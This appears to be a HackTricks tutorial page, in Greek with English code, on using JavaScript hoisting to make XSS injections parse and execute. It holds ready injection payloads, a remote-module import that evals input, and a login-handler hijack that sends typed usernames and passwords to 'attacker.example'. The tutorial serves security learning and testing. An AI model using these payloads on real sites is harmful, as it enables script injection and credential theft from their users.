JS Hoisting
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Στη γλώσσα JavaScript, υπάρχει ένας μηχανισμός γνωστός ως Hoisting όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή imports τοποθετούνται εννοιολογικά στην κορυφή του scope τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία εκτελείται αυτόματα από τη JavaScript engine, η οποία επεξεργάζεται το script σε πολλαπλές διελεύσεις.
Κατά την πρώτη διελεύση, η engine κάνει parsing του κώδικα για να ελέγξει για syntax errors και τον μετασχηματίζει σε ένα abstract syntax tree. Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του execution context. Εάν η φάση parsing είναι επιτυχής, δηλαδή δεν υπάρχουν syntax errors, τότε συνεχίζεται η εκτέλεση του script.
Είναι κρίσιμο να κατανοήσουμε ότι:
- Το script πρέπει να είναι χωρίς syntax errors για να συμβεί η εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά.
- Η τοποθέτηση του κώδικα μέσα στο script επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελεσμένος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση.
Types of Hoisting
Με βάση τις πληροφορίες από το MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript:
- Value Hoisting: Επιτρέπει τη χρήση της τιμής μιας μεταβλητής μέσα στο scope της πριν από τη γραμμή δήλωσής της.
- Declaration Hoisting: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο scope της πριν από τη δήλωσή της χωρίς να προκαλεί
ReferenceError
, αλλά η τιμή της μεταβλητής θα είναιundefined
. - Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο scope του λόγω της δήλωσης της μεταβλητής πριν από την πραγματική γραμμή δήλωσης.
- Οι παρενέργειες της δήλωσης συμβαίνουν πριν αξιολογηθεί το υπόλοιπο μέρος του κώδικα που την περιέχει.
Συγκεκριμένα, οι function declarations παρουσιάζουν συμπεριφορά hoisting τύπου 1. Η λέξη-κλειδί var
παρουσιάζει συμπεριφορά τύπου 2. Οι lexical declarations, που περιλαμβάνουν let
, const
και class
, εμφανίζουν συμπεριφορά τύπου 3. Τέλος, οι import
δηλώσεις είναι μοναδικές καθώς ανυψώνονται (hoisted) με συμπεριφορές τόσο τύπου 1 όσο και τύπου 4.
Scenarios
Επομένως, αν έχετε σενάρια όπου μπορείτε να Inject JS code after an undeclared object is used, μπορείτε να fix the syntax δηλώνοντάς το (έτσι ο κώδικάς σας θα εκτελεστεί αντί να πετάξει σφάλμα):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Περισσότερα Σενάρια
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
Προλάβετε μετέπειτα δηλώσεις κλειδώνοντας ένα όνομα με const
Αν μπορείτε να εκτελέσετε πριν αναλυθεί μια κορυφαία function foo(){...}
, η δήλωση μιας λεξικής δέσμευσης με το ίδιο όνομα (π.χ., const foo = ...
) θα αποτρέψει τη μετέπειτα δήλωση συνάρτησης από το να επαναδεσμεύσει αυτό το αναγνωριστικό. Αυτό μπορεί να καταχραστεί σε RXSS για να αρπάξει κρίσιμους handlers που ορίζονται αργότερα στη σελίδα:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
Σημειώσεις
- Αυτό βασίζεται στη σειρά εκτέλεσης και στο global (top-level) scope.
- Εάν το payload σας εκτελείται μέσα σε
eval()
, να θυμάστε ότι ταconst/let
μέσα σεeval
είναι block-scoped και δεν θα δημιουργήσουν global bindings. Εισάγετε ένα νέο στοιχείο<script>
με τον κώδικα για να δημιουργήσετε ένα πραγματικό globalconst
.
Αναφορές
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.